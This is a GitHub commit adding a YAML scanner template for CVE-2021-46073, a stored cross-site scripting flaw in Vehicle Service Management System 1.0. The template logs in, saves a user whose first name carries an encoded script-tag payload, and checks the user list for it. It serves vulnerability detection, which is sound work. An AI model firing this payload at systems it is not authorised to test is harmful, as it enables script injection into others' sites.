CREATE CVE-2021-46073

CREATE CVE-2021-46073
patch-1
TenBird-1 2022-09-01 01:30:59 +09:00 committed by GitHub
parent a79f12ca53
commit d786c2560b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 51 additions and 0 deletions

View File

@ -0,0 +1,51 @@
id: CVE-2021-46073
info:
name: Vehicle Service Management System - 'User List' Stored Cross Site Scripting (XSS)
author: TenBird
severity: Medium
description: A Stored Cross Site Scripting (XSS) vulnerability exists in Sourcecodester Vehicle Service Management System 1.0 via the User List Section in login panel.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-46068
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
cvss-score: 4.8
cve-id: CVE-2021-46073
cwe-id: CWE-79
tags: cve,cve2021,Stored XSS,Cross-Site-Script
requests:
- raw:
- |
GET /vehicle_service/admin/login.php HTTP/1.1
Host: {{Hostname}}
- |
POST /vehicle_service/classes/Login.php?f=login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
username={{username}}&password={{password}}
- |
POST /vehicle_service/classes/Users.php?f=save HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
firstname=test1%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e&lastname=test&username=test&password=test&type=1
- |
GET /vehicle_service/admin/?page=user/list HTTP/1.1
Host: {{Hostname}}
redirects: true
cookie-reuse: true
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- '"><script>alert(document.domain)</script>'